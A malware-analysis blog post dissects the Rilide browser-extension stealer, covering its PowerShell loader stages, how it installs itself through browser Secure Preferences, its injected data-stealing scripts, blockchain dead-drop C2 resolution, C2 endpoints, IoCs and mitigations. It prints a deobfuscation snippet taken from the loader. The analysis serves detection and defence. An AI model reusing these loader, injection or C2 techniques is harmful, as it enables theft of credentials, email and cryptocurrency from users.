Rilide - An Information Stealing Browser Extension

Learn about the information stealing browser extension Rilide, its delivery methods, and intrusion chain.

Rilide - An Information Stealing Browser Extension

Rilide is an example of an information stealer masquerading as a browser extension. First reported in April 2023, the malware targets Chromium-based browsers such as Google Chrome and Microsoft Edge. It is designed to take screenshots of information, log passwords, and collect credentials for cryptocurrency wallets. 

Rilide is delivered via malicious advertisements or phishing pages. When users interact with these payloads, a loader installs the Rilide extension. Security researchers have observed Rilide impersonating Google Drive and Palo Alto extensions. Associated IoCs can be accessed using Pulsedive’s Explore feature.

This blog outlines:

  • How Rilide is delivered
  • Walkthrough of an intrusion chain that dropped Rilide
  • Mitigation strategies

How Rilide is Delivered

Threat researchers have identified multiple delivery mechanisms used to drop Rilide, with phishing websites being the most common. Versions from August 2023 were adapted to work with Chrome Extension Manifest V3. These changes include removing the ability to execute external logic using executeScript(), eval(), and new Function(). Moreover, Manifest V3 no longer allows developers to load and execute remotely hosted files; as such, all the logic must be part of the extension package itself.

The newer Rilide versions were delivered using three different mechanisms.

  1. The first campaign uses a PowerPoint lure with a phishing website to fetch the Rilide stealer.
  2. The second campaign leverages Twitter as the initial lure. When interacting with the Twitter lure, the user is redirected to a phishing website that downloads an executable file that sets up the malicious extension using an LNK file.
  3. Researchers at Trustwave grouped two separate vectors into a third campaign. One intrusion chain is similar to the second campaign, with the only exception being the use of Google Ads instead of Twitter. The rest of the intrusion chain remains the same. The last intrusion chain uses a PowerShell loader to install Rilide. It is unclear how the user receives the PowerShell Loader.
Figure 1: Campaigns leading to Rilide. This version of Rilide has been adapted to comply with the Chrome Extension Manifest V3 requirements. Source: Hacker News

The sample we analyzed for this blog belongs to campaign 3, which uses a PowerShell loader to install the malicious extension.

An Intrusion Dropping Rilide

A PowerShell Dropper

Toward the end of November 2024, VMRay shared details about a PowerShell script used to drop a Rilide sample. As of March 15, 2025, VirusTotal indicates that only four vendors flag the script as malicious. The earliest sample in the intrusion chain starts with the PowerShell script identified by VMRay; however, the exact way the script was delivered to the user is unknown. Figure 2 shows the complete intrusion chain observed during analysis.

Figure 2: Intrusion chain observed during analysis
Figure 3: VirusTotal results for the PowerShell script as of March 15, 2025. Source: VirusTotal

File Details

Characteristic

Value

MD5

650052f23efde0ed4460b760134db8c6

SHA-1

286574e458cddb32032ba4935d7f8e2716cfcf2c

SHA-256

76afc4a7ef10d760c3fa42458e8f133f1ed4d76071ab6f4207037f64a4bffab7

File Size

2.15 KB

File Extension

ps1

Behavior

First Stage

When the PowerShell script is run, it launches another PowerShell instance that executes base64 encoded commands without displaying the PowerShell window to the user. 

Figure 4: Encoded PowerShell command captures within VMRay. Source: VMRay

The base64 encoded content can be decoded using CyberChef’s From Base64 recipe. The decoded content contains a base64 encoded string, which is manipulated by replacing characters and XOR operations before being passed to the PowerShell function DownloadString as the URI. 

💡
For more details on how to use CyberChef, please read our Tool Guide: CyberChef 101
Figure 5: Decoded PowerShell script contains base64 encoded values that go through a series of character manipulations.

The URI can be decoded by running the code snippet within PowerShell before the script creates a new web client connection. 

$lUhpJ = ("kpC3/7WN/qCHo4b2sP@tgrfwv/+UrZ6oqfGIj4egrL7xlJeHt/GWt4OX+/s=")
$HgwsG = $lUhpJ.Replace("@", "a")
$TWJXW = [Convert]::FromBase64String($HgwsG) | ForEach-Object { $_ -bxor 198}
$ZLb8q = [System.Text.Encoding]::ASCII.GetString($TWJXW).Replace("@", "a")
$RUveK = [Convert]::FromBase64String($ZLb8q)
$QK9tt = [byte[]](37, 46, 201, 192, 220);
$eyMTA = 0;
$CJC2W = $RUveK | ForEach-Object {
$_ -bxor $QK9tt[$eyMTA++];
if ($eyMTA -ge $QK9tt.Length) {
$eyMTA = 0
}
}
$CJC2W

Calling the parameter that holds the ASCII values for the URI returns the array string shown in Figure 6 below.

Figure 6: ASCII values holding the second stage domain

The array of ASCII values can be decoded using the PowerShell command $mdKyK = [System.Text.Encoding]::ASCII.GetString($CJC2W); or using CyberChef’s From Decimal recipe.

Figure 7: The ASCII values converted into text to reveal the second stage URI.

WHOIS data for the decoded domain shows that it was registered with NameCheap. Moreover, the domain was registered on October 5, 2024, approximately a month before the post from VMRay.  

Figure 8: WHOIS data within the Pulsedive platform for tcl-black[.]com

The domain was unreachable as of March 15, 2025, but historical data was stored on URLscan.io. The webpage contained obfuscated code that the PowerShell script manipulates by replacing certain characters before converting it from base64. Once the command is decoded, it is executed using PowerShell. 

Figure 9: A historical scan showing the content hosted on the decoded URL. Source: URLscan.io

The character conversations employed during this stage are:

Original Value

New Value

!

l

*

d

`”

T

H

;

F

Figure 10: Decoded content from tcl-black[.]com reveals additional PowerShell Commands 

Second Stage

The decoded script contains another blob of base64 that goes through a series of manipulations before being executed using the iex command. The first manipulation is a series of character replacements that change certain symbols into characters within the base64 character set. The replacements are:

Original Value

New Value

%

d

$

a

!

b

@

B

This data is converted from base64 and XORed with a byte array. Following the XOR operation, the data is decrypted using AES256 in Cipher Block Chaining mode with a padding of PKCS7. The decryption key and initialization vector are stored as hardcoded variables that are base64 encoded.

Figure 11: The decoded PowerShell script pulled from tcl-black[.]com

Third Stage - Setting up Rilide

The decrypted data is additional PowerShell code that is executed. This code is used to install the Rilide extension. The PowerShell script's primary function is FCZoL, which first attempts to gather the current user's SID.

Figure 12: Decrypted content from the second stage PowerShell Script that shows additional PowerShell commands.
Figure 13: The script uses PowerShell cmdlets to get the local user

The script then generates a random string that is 80 characters long and consists of alphanumeric characters. The following line of the script converts a string of bytes into a UTF-8 encoded string. This string contains a base64 blob containing JSON data that appears to be related to the Rilide extension. 

Figure 14: Character set returned from a function within PowerShell.
Figure 15: Base64 content reveals content that is later added to the Secure Preferences for managing settings for a Chrome Profile. 
Figure 16: Extension details added to Secure Preferences.

The PowerShell script then creates strings that hold paths to web browsers. The browsers targeted, and the paths specified in the malware are:

Figure 17: PowerShell code used to create paths to web browser content on disk.

Web Browser

Path

Chrome

%localappdata%/Google/Chrome/User Data

Brave

%localappdata%/BraveSoftware/Brave-Browser/User Data

Edge

%localappdata%/Microsoft/Edge/User Data

Opera

%appdata%/Opera Software/Opera Stable

The PowerShell script contains all the content that makes up the Rilide files as hardcoded base64 strings. These strings are within the function aRUC2M. This function takes the previously created character set and the directory name where the extension will be stored. In this case, the directory name is $MxNC2$JJ0wH, as shown in the figure below.

Figure 18: Path where the Rilide files are saved on disk.

The script attempts to create the path shown in Figure 18 and then tries to create files within that directory. 

Figure 19: Code used to create the $MxNC2$JJ0wH directory and drop the Rilide files.

Each file that makes up the Rilide extension and its content is stored as base64-encoded pairs. The first variable is the file name, and the second is the actual content. The script writes the file for any file name containing the extension *.png. If the file is contains the string manifest.json, a set of character replacements occurs before it is written to disk. For all other files, the script just writes the content to a file on disk.

Encoded File Name

Decoded File Name

YXBwLmh0bWw=

app.html

Y29uZmlnLmpz

config.js

ZmlsZV9haGxkZmguanM=

file_ahldfh.js

ZmlsZV9hdWtqemxsdGkuanM=

file_aukjzllti.js

ZmlsZV9la3pwbHNqLmpz

file_ekzplsj.js

ZmlsZV9namVpd3pzdC5qcw==

file_gjeiwzst.js

ZmlsZV9wamJtY2dtLmpz

file_pjbmcgm.js

aWNvLnBuZw==

ico.png

bWFuaWZlc3QuanNvbg==

manifest.json

cnVsZXMuanNvbg==

rules.json

ZGlyX2pzcGN1eWZ1XGZpbGVfZGZlYWt5ZmlyLmpz

dir_jspcuyfu\file_dfeakyfir.js

ZGlyX2pzcGN1eWZ1XGZpbGVfa3ZueW5hLmpz

dir_jspcuyfu\file_kvnyna.js

ZGlyX2pzcGN1eWZ1XGZpbGVfdXFyZnRpanRnai5qcw==

dir_jspcuyfu\file_uqrftijtgj.js

ZGlyX2pzcGN1eWZ1XGRpcl9rbWlkZ1xmaWxlX215aHBuLmpz

dir_jspcuyfu\dir_kmidg\file_myhpn.js

ZGlyX2pzcGN1eWZ1XGRpcl9rbWlkZ1xmaWxlX253ZXFnaGxudS5qcw==

dir_jspcuyfu\dir_kmidg\file_nweqghlnu.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb2RtcnFjenpcZmlsZV9mbXRxbi5qcw==

dir_jspcuyfu\dir_rodmrqczz\file_fmtqn.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb2RtcnFjenpcZmlsZV9qcmZ4ZS5qcw==

dir_jspcuyfu\dir_rodmrqczz\file_jrfxe.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb2RtcnFjenpcZmlsZV9uZ2dtZ2dpcXYuanM=

dir_jspcuyfu\dir_rodmrqczz\file_nggmggiqv.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb2RtcnFjenpcZmlsZV9uaXZ2aGRjLmpz

dir_jspcuyfu\dir_rodmrqczz\file_nivvhdc.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb2RtcnFjenpcZmlsZV9vbnRjYWNyb3MuanM=

dir_jspcuyfu\dir_rodmrqczz\file_ontcacros.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb2RtcnFjenpcZmlsZV9yem56dnB3Lmpz

dir_jspcuyfu\dir_rodmrqczz\file_rznzvpw.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb3ZoemJ6ZXhlXGZpbGVfYWFjY2hvYWZzdi5qcw==

dir_jspcuyfu\dir_rovhzbzexe\file_aacchoafsv.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb3ZoemJ6ZXhlXGZpbGVfYXZla2lmcnQuanM=

dir_jspcuyfu\dir_rovhzbzexe\file_avekifrt.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb3ZoemJ6ZXhlXGZpbGVfZHdvcGJkeC5qcw==

dir_jspcuyfu\dir_rovhzbzexe\file_dwopbdx.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb3ZoemJ6ZXhlXGZpbGVfc3Rla2xwZ3ouanM=

dir_jspcuyfu\dir_rovhzbzexe\file_steklpgz.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb3ZoemJ6ZXhlXGZpbGVfeGlmanQuanM=

dir_jspcuyfu\dir_rovhzbzexe\file_xifjt.js

ZGlyX2pzcGN1eWZ1XGRpcl9yb3ZoemJ6ZXhlXGZpbGVfeXdkZ3dkdW5kLmpz

dir_jspcuyfu\dir_rovhzbzexe\file_ywdgwdund.js

ZGlyX2pzcGN1eWZ1XGRpcl92aHdwY3dsYXhpXGZpbGVfYnBmZWxlLmpz

dir_jspcuyfu\dir_vhwpcwlaxi\file_bpfele.js

ZGlyX2pzcGN1eWZ1XGRpcl92aHdwY3dsYXhpXGZpbGVfb2RybHVzaC5qcw==

dir_jspcuyfu\dir_vhwpcwlaxi\file_odrlush.js

ZGlyX2pzcGN1eWZ1XGRpcl92aHdwY3dsYXhpXGZpbGVfcmFwd2hjYXJhLmpz

dir_jspcuyfu\dir_vhwpcwlaxi\file_rapwhcara.js

ZGlyX2pzcGN1eWZ1XGRpcl92aHdwY3dsYXhpXGZpbGVfdnF5YmJyaGcuanM=

dir_jspcuyfu\dir_vhwpcwlaxi\file_vqybbrhg.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfY3hoamNla3YuanM=

dir_jspcuyfu\dir_wzjggrl\file_cxhjcekv.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfZGl6c3kuanM=

dir_jspcuyfu\dir_wzjggrl\file_dizsy.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfaHJ0c2RyZy5qcw==

dir_jspcuyfu\dir_wzjggrl\file_hrtsdrg.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfa253dnlqaGcuanM=

dir_jspcuyfu\dir_wzjggrl\file_knwvyjhg.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfcHpib3ptby5qcw==

dir_jspcuyfu\dir_wzjggrl\file_pzbozmo.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfcW5tb2lleC5qcw==

dir_jspcuyfu\dir_wzjggrl\file_qnmoiex.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfdHdrbWlicXkuanM=

dir_jspcuyfu\dir_wzjggrl\file_twkmibqy.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfdmlnbGJ0Y29zdC5qcw==

dir_jspcuyfu\dir_wzjggrl\file_viglbtcost.js

ZGlyX2pzcGN1eWZ1XGRpcl93empnZ3JsXGZpbGVfeHRhZXouanM=

dir_jspcuyfu\dir_wzjggrl\file_xtaez.js

ZGlyX295cm5vcXFcZmlsZV9heGVscy5qcw==

dir_oyrnoqq\file_axels.js

ZGlyX295cm5vcXFcZmlsZV9iaHNoZXpoZW54Lmpz

dir_oyrnoqq\file_bhshezhenx.js

ZGlyX295cm5vcXFcZmlsZV9mcG1vbGJzLmpz

dir_oyrnoqq\file_fpmolbs.js

ZGlyX295cm5vcXFcZmlsZV9qZnJuZS5qcw==

dir_oyrnoqq\file_jfrne.js

ZGlyX295cm5vcXFcZmlsZV9ra3V5bXpxbmNzLmpz

dir_oyrnoqq\file_kkuymzqncs.js

ZGlyX295cm5vcXFcZmlsZV9rc2xreGN6Z3FzLmpz

dir_oyrnoqq\file_kslkxczgqs.js

ZGlyX295cm5vcXFcZmlsZV9wYWV3a3h5Lmpz

dir_oyrnoqq\file_paewkxy.js

ZGlyX295cm5vcXFcZmlsZV90cWR4bnltZi5qcw==

dir_oyrnoqq\file_tqdxnymf.js

ZGlyX295cm5vcXFcZmlsZV91c3poZ24uanM=

dir_oyrnoqq\file_uszhgn.js

ZGlyX295cm5vcXFcZmlsZV96YWJhcC5qcw==

dir_oyrnoqq\file_zabap.js

ZGlyX295cm5vcXFcZGlyX2Nxd3VjdWlpZFxmaWxlX2FicG5hb2guanM=

dir_oyrnoqq\dir_cqwucuiid\file_abpnaoh.js

ZGlyX295cm5vcXFcZGlyX2Nxd3VjdWlpZFxmaWxlX2VsbXpsb3VyeC5qcw==

dir_oyrnoqq\dir_cqwucuiid\file_elmzlourx.js

ZGlyX295cm5vcXFcZGlyX2Nxd3VjdWlpZFxmaWxlX2hmZXpkanBoei5qcw==

dir_oyrnoqq\dir_cqwucuiid\file_hfezdjphz.js

ZGlyX295cm5vcXFcZGlyX2Nxd3VjdWlpZFxmaWxlX29xaHV2d3h0ei5qcw==

dir_oyrnoqq\dir_cqwucuiid\file_oqhuvwxtz.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfYXJwaHB4bm5oLmpz

dir_oyrnoqq\dir_donxq\file_arphpxnnh.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfY2R0dnlrb2ouanM=

dir_oyrnoqq\dir_donxq\file_cdtvykoj.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfaGRodm92Lmpz

dir_oyrnoqq\dir_donxq\file_hdhvov.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfanltanUuanM=

dir_oyrnoqq\dir_donxq\file_jymju.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfbGdsZHFwdWxxZy5qcw==

dir_oyrnoqq\dir_donxq\file_lgldqpulqg.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfbWNoY3RycWNuLmpz

dir_oyrnoqq\dir_donxq\file_mchctrqcn.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfcnFxYXEuanM=

dir_oyrnoqq\dir_donxq\file_rqqaq.js

ZGlyX295cm5vcXFcZGlyX2RvbnhxXGZpbGVfd3hudnB4Lmpz

dir_oyrnoqq\dir_donxq\file_wxnvpx.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfY3l2aW9oaWpkai5qcw==

dir_oyrnoqq\dir_vzjkf\file_cyviohijdj.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfZGN5dGdiaS5qcw==

dir_oyrnoqq\dir_vzjkf\file_dcytgbi.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfZnhoemJjd3NxLmpz

dir_oyrnoqq\dir_vzjkf\file_fxhzbcwsq.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfZ3F5bHZraGpzLmpz

dir_oyrnoqq\dir_vzjkf\file_gqylvkhjs.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfaHJxeGIuanM

dir_oyrnoqq\dir_vzjkf\file_hrqxb.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfbWdsZWxpdWd3Lmpz

dir_oyrnoqq\dir_vzjkf\file_mgleliugw.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfb3hmc2d3YnUuanM=

dir_oyrnoqq\dir_vzjkf\file_oxfsgwbu.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfcXhjc2xyeC5qcw==

dir_oyrnoqq\dir_vzjkf\file_qxcslrx.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfc252dGEuanM=

dir_oyrnoqq\dir_vzjkf\file_snvta.js

ZGlyX295cm5vcXFcZGlyX3Z6amtmXGZpbGVfc3NjcHJvdS5qcw==

dir_oyrnoqq\dir_vzjkf\file_sscprou.js

ZGlyX3BkaGZ4bnBreFxmaWxlX2Fzb3RsZS5qcw==

dir_pdhfxnpkx\file_asotle.js

ZGlyX3BkaGZ4bnBreFxmaWxlX2ZyYmpiZ2Z4eC5qcw==

dir_pdhfxnpkx\file_frbjbgfxx.js

ZGlyX3BkaGZ4bnBreFxmaWxlX2hocHpxYnpzLmpz

dir_pdhfxnpkx\file_hhpzqbzs.js

ZGlyX3BkaGZ4bnBreFxmaWxlX2htZnpxaS5qcw==

dir_pdhfxnpkx\file_hmfzqi.js

ZGlyX3BkaGZ4bnBreFxmaWxlX2xlcHJjZ25qZC5qcw==

dir_pdhfxnpkx\file_leprcgnjd.js

ZGlyX3BkaGZ4bnBreFxmaWxlX25tZ3dwcnVlaHcuanM=

dir_pdhfxnpkx\file_nmgwpruehw.js

ZGlyX3BkaGZ4bnBreFxmaWxlX3lmYmxma3RjYS5qcw==

dir_pdhfxnpkx\file_yfblfktca.js

ZGlyX3BkaGZ4bnBreFxmaWxlX3lvc2dpZWFnbGcuanM=

dir_pdhfxnpkx\file_yosgieaglg.js

ZGlyX3BkaGZ4bnBreFxkaXJfZ3JhY3ZmXGZpbGVfbGx3dnRvaHYuanM=

dir_pdhfxnpkx\dir_gracvf\file_llwvtohv.js

ZGlyX3BkaGZ4bnBreFxkaXJfZ3JhY3ZmXGZpbGVfbHV2b2ouanM=

dir_pdhfxnpkx\dir_gracvf\file_luvoj.js

ZGlyX3BkaGZ4bnBreFxkaXJfZ3JhY3ZmXGZpbGVfb2ltbGpuYWdzbC5qcw==

dir_pdhfxnpkx\dir_gracvf\file_oimljnagsl.js

ZGlyX3BkaGZ4bnBreFxkaXJfZ3JhY3ZmXGZpbGVfcHRwdm1zdm5xaC5qcw==

dir_pdhfxnpkx\dir_gracvf\file_ptpvmsvnqh.js

ZGlyX3BkaGZ4bnBreFxkaXJfZ3JhY3ZmXGZpbGVfdWRnZ3AuanM=

dir_pdhfxnpkx\dir_gracvf\file_udggp.js

ZGlyX3BkaGZ4bnBreFxkaXJfZ3JhY3ZmXGZpbGVfdWRvbG9sLmpz

dir_pdhfxnpkx\dir_gracvf\file_udolol.js

ZGlyX3BkaGZ4bnBreFxkaXJfZ3JhY3ZmXGZpbGVfdXhseHdrbWEuanM=

dir_pdhfxnpkx\dir_gracvf\file_uxlxwkma.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfZHR1cmV2Z2ptay5qcw==

dir_pdhfxnpkx\dir_tojirz\file_dturevgjmk.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfZmNhZXRmdm9ubi5qcw==

dir_pdhfxnpkx\dir_tojirz\file_fcaetfvonn.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfZnJwZ3hmcGsuanM=

dir_pdhfxnpkx\dir_tojirz\file_frpgxfpk.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfanpuYncuanM=

dir_pdhfxnpkx\dir_tojirz\file_jznbw.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfbXFqZG9sd2wuanM=

dir_pdhfxnpkx\dir_tojirz\file_mqjdolwl.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfdGVmeHlhby5qcw==

dir_pdhfxnpkx\dir_tojirz\file_tefxyao.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfdm50aGhwZC5qcw==

dir_pdhfxnpkx\dir_tojirz\file_vnthhpd.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfeGl1Zm9odi5qcw==

dir_pdhfxnpkx\dir_tojirz\file_xiufohv.js

ZGlyX3BkaGZ4bnBreFxkaXJfdG9qaXJ6XGZpbGVfeWVudHRreXFvLmpz

dir_pdhfxnpkx\dir_tojirz\file_yenttkyqo.js

bW9kdWxlc1xjb250ZW50LXNjcmlwdHMtcmVnaXN0ZXItcG9seWZpbGwuNC4wLjAuanM=

modules\content-scripts-register-polyfill.4.0.0.js

c3JjXFRvZ2dsZVRlc3QuanM=

src\ToggleTest.js

c3JjXGNvbnRlbnRcQWxlcnRSZWNlaXZlLmpz

src\content\AlertReceive.js

c3JjXGNvbnRlbnRcT3BlblJlbW92ZS5qcw==

src\content\OpenRemove.js

c3JjXGZpbmRlclxBbmFseXplUGFpbnQuanM=

src\finder\AnalyzePaint.js

c3JjXGZpbmRlclxBc3NpZ25UZXN0Lmpz

src\finder\AssignTest.js

c3JjXGZpbmRlclxDb3B5UmVkdWNlLmpz

src\finder\CopyReduce.js

c3JjXGZpbmRlclxEcmFnQ3JlYXRlLmpz

src\finder\DragCreate.js

c3JjXGZpbmRlclxEcmF3Lmpz

src\finder\Draw.js

c3JjXGZpbmRlclxFbmFibGVQZWVrLmpz

src\finder\EnablePeek.js

c3JjXGZpbmRlclxGb2N1cy5qcw==

src\finder\Focus.js

c3JjXGZpbmRlclxQcm9maWxlSW5zdGFsbENsb25lLmpz

src\finder\ProfileInstallClone.js

c3JjXGZpbmRlclxTaG93SGFuZGxlRHJhdy5qcw==

src\finder\ShowHandleDraw.js

c3JjXGZ1bmN0aW9uc1xDbG9zZVJlZHVjZS5qcw==

src\functions\CloseReduce.js

c3JjXGZ1bmN0aW9uc1xEZWxldGUuanM=

src\functions\Delete.js

c3JjXGZ1bmN0aW9uc1xEcmFnU3VtbWFyaXplLmpz

src\functions\DragSummarize.js

c3JjXGZ1bmN0aW9uc1xJbnZlcnQuanM=

src\functions\Invert.js

c3JjXGZ1bmN0aW9uc1xPcHRpbWl6ZUV2YWx1YXRlLmpz

src\functions\OptimizeEvaluate.js

c3JjXGZ1bmN0aW9uc1xQcmludC5qcw==

src\functions\Print.js

c3JjXGZ1bmN0aW9uc1xSZWNlaXZlLmpz

src\functions\Receive.js

c3JjXGZ1bmN0aW9uc1xSZW1vdmUuanM=

src\functions\Remove.js

c3JjXGZ1bmN0aW9uc1xSZXN1bWVSZXN1bWVNaXJyb3IuanM=

src\functions\ResumeResumeMirror.js

c3JjXGZ1bmN0aW9uc1xSZXRyaWV2ZVVwZGF0ZVN1Ym1pdC5qcw==

src\functions\RetrieveUpdateSubmit.js

c3JjXGZ1bmN0aW9uc1xSdW5EZXBsb3lGb2N1cy5qcw==

src\functions\RunDeployFocus.js

c3JjXGZ1bmN0aW9uc1xTYXZlLmpz

src\functions\Save.js

c3JjXGZ1bmN0aW9uc1xTZWxlY3REcmF3Lmpz

src\functions\SelectDraw.js

c3JjXGZ1bmN0aW9uc1xXYWl0Lmpz

src\functions\Wait.js

c3JjXG1haWxzXFJlbGVhc2UuanM=

src\mails\Release.js

The last step in the PowerShell script is to add the extension to the different web browsers specified within the script itself.

Figure 20: Function calls to add the Rilide extension to the targeted web browsers.

Before installing the malicious extension, the PowerShell script terminates any running instances of the web browsers targeted before the extension is enabled. The extension is installed only for the user who is logged in when the script is running. It then attempts to modify the Secure Preferences or the Preferences file (for MSedge) within the Default or Profile subdirectories. The content shown in Figure 16 is updated to reflect the path shown in Figure 18. Once this modification occurs, it is added to the Secure Preferences JSON file. The script also checks if the extension is installed; if it is, the content is updated to API content extracted by the script. Otherwise, it adds the content to the file.

Figure 21: Code used to add the content shown in Figure 16 to files used by the web browsers. This is used to add the extension to the web browser.

Once the extension path is added to the preferences file, the PowerShell script waits 4 seconds before launching the web browser. 

Figure 22: The content from Figure 16 is updated to reflect the path to Rilide. The path was previously shown in Figure 18. 

Rilide Browser Extension

Like TrustWave's reporting, the malware masquerades as a Google Drive utility that claims to save content to Google Drive. The extension's permissions indicate that it can interact with cookies, clipboard data, and system information. Rilide uses injected scripts to steal credentials and cryptocurrency and take screenshots. 

Figure 23: Functionality present within Rilide. Source: Hacker News

The extension masquerades as a Google Drive utility that aims to help users save content to Drive. This is indicated by the name and description specified in the manifest.json file and the extension’s icon.

Figure 24: A screenshot showing Rilide installed in Google Chrome.
Figure 25: Details about the Rilide extension within Google Chrome.
Figure 26: The malware uses the Google Drive icon as its icon.

The main files in the extension are:

  • config.js
  • manifest.json
  • rules.json
  • ico.png
  • src/ToggleTest.js
  • src/content/OpenRemove.js
  • src/content/AlertReceive.js
  • src/content/Release.js

The extension’s directory contains other JavaScript files with helper functions that expand its functionality. These files are essential to the three scripts injected into each webpage. 

Figure 27: Files within the Rilide directory.

manifest.json

The extension’s manifest.json shows that the extension can query system information such as CPU and storage information. It can also access the browser’s local storage. Moreover, the extension allows access to the clipboard for reading and writing capabilities. The service worker is a file called ToggleTest.js. The extension injects three scripts into every webpage, collecting information from the pages. The scripts are:

  • OpenRemove.js
  • AlertReceive.js
  • Release.js  
Figure 28: Content of the manifest.json file
Figure 29: The manifest.json file shows the injected scripts and declarative_net_request specifications.
💡
For more information about how Browser Extensions work, please read our blog.

The rules.json is specified as part of the declarative_net_request objects, an API that blocks or modifies web requests. In this case, the API adjusts the content security policy to help remove headers.

rules.json

Figure 30: The rules declared within the rules.json that are used to remove content security policies. 

The rules.json file is used to modify headers in network requests and removes any content security policy values set by the web pages. 

config.js

Figure 31: Configuration parameters for Rilide, including the ability to set up a Telegram C2 channel.

The config file contains references to Telegram and Web-based panels. However, this sample does not appear to have a Telegram panel, as shown by the lack of details within the TelegramPanel object. 

ToggleTest.js

ToggleTest.js is a heavily obfuscated file that imports functions from other JavaScript files. The file call functions to collect system information, execute commands, and take screenshots.

Figure 32: Functions imported by the service worker, ToggleTest.js, to expand its functionality. 

OpenReceive.js

This file was heavily obfuscated and used event listeners to collect messages from cryptocurrency exchanges and other websites, such as Facebook and Google Pay. Before grabbing information, the malware checks local storage in the web browser to obtain settings used to gather what information Rilide collects.

💡
JavaScript files can be deobfuscated using tools such as JavaScript Deobfuscator.
Figure 33: Code used to create event listeners that look for cryptocurrency details.

AlertReceive.js

The AlertReceive.js file is used to read and write text from the clipboard. 

Figure 34: Code used to interact with the clipboard.

Release.js

This file collects content from email applications. The injected code checks whether the web page is Outlook, Yahoo, or Gmail. Once the email application has been identified, the script examines the DOM content on the web page to collect information about the emails. 

Figure 35: Deobfuscated code from Release.js that looks for Outlook, Yahoo, and Gmail pages.

Research from Trellix outlines that Rilide looks for messages from cryptocurrency exchanges and modifies their content to collect credentials from users when they attempt to log in to the exchange. 

Figure 36: Notes from Trellix indicate that Rilide modified emails to lure users into signing into their cryptocurrency accounts. Source: Trellix

Network Traffic

💡
A packet capture of Rilide network traffic and SSL decryption keys are provided as a reference.

C2 Resolution using Dead Drops

Rilide queries different blockchain services to obtain the C2 server, which is stored as a base58-encoded value in another cryptocurrency address. The blockchain services queried include:

  • Blockstream
  • Bitcoin Explorer
  • Blockcypher
  • Mempool
  • Bitcore

The Bitcoin address that the malware looks up is bc1qkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066.

Figure 37: Cryptocurrency transaction to the BitCoin address the malware looks up. Source: Blockchain.com
Figure 38: Requests to blockstream.info that return another BitCoin address that also doubles as the C2 address for the malware. 
Figure 38: Requests to Blockcypher showing the second BitCoin address.

The address is 1Aybhtfb3TM36MDmULVXJVAFni8V8tR4aS and decodes to the C2 server memento-mori[.]com

Figure 39: The second BitCoin address can be decoded into the C2 domain using base58.

C2 Communication

Once the C2 server has been identified, the extension starts exfiltrating information back to it. The malware returns system information data to the C2 server via a POST request to the URI /api/machine/init.

Figure 40: System information exfiltrated by Rilide.

The information includes:

  • CPU details
  • Operating System information
  • Display information
  • Extension details

Other commands observed within network traffic include:

  • /api/machine/injections
  • /api/machine/commands
  • /api/machine/settings
  • /api/machine/clipper
  • /api/machine/screenshot-rules
  • /api/machine/set-command
Figure 41: Phases returned by the C2 used to determine what information Rilide targets. This command also returns a reverse proxy address if the malware uses one.

Mitigations

  • Extension Management
    • Avoid installing extensions from untrusted sources or third-party websites.
    • Users should review permissions used by extensions before installing them.
    • Users should periodically review installed extensions to identify any that are no longer needed and remove them.
  • PowerShell Logging
    • Enable PowerShell logging features, including:
      • Module Logging
      • Script Block logging
    • Have PowerShell logs being ingested into SIEM or centralized log management solutions for monitoring
  • Block users from running PowerShell Commands
    • Restrict PowerShell usage to only those that are required to run PowerShell commands.

Indicators of Compromise

The table below contains all Rilide network IoCs identified during the analysis of the intrusion chain. 

IOCs

hxxps[://]blockstream[.]info/api/address/bc1qkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066/txs

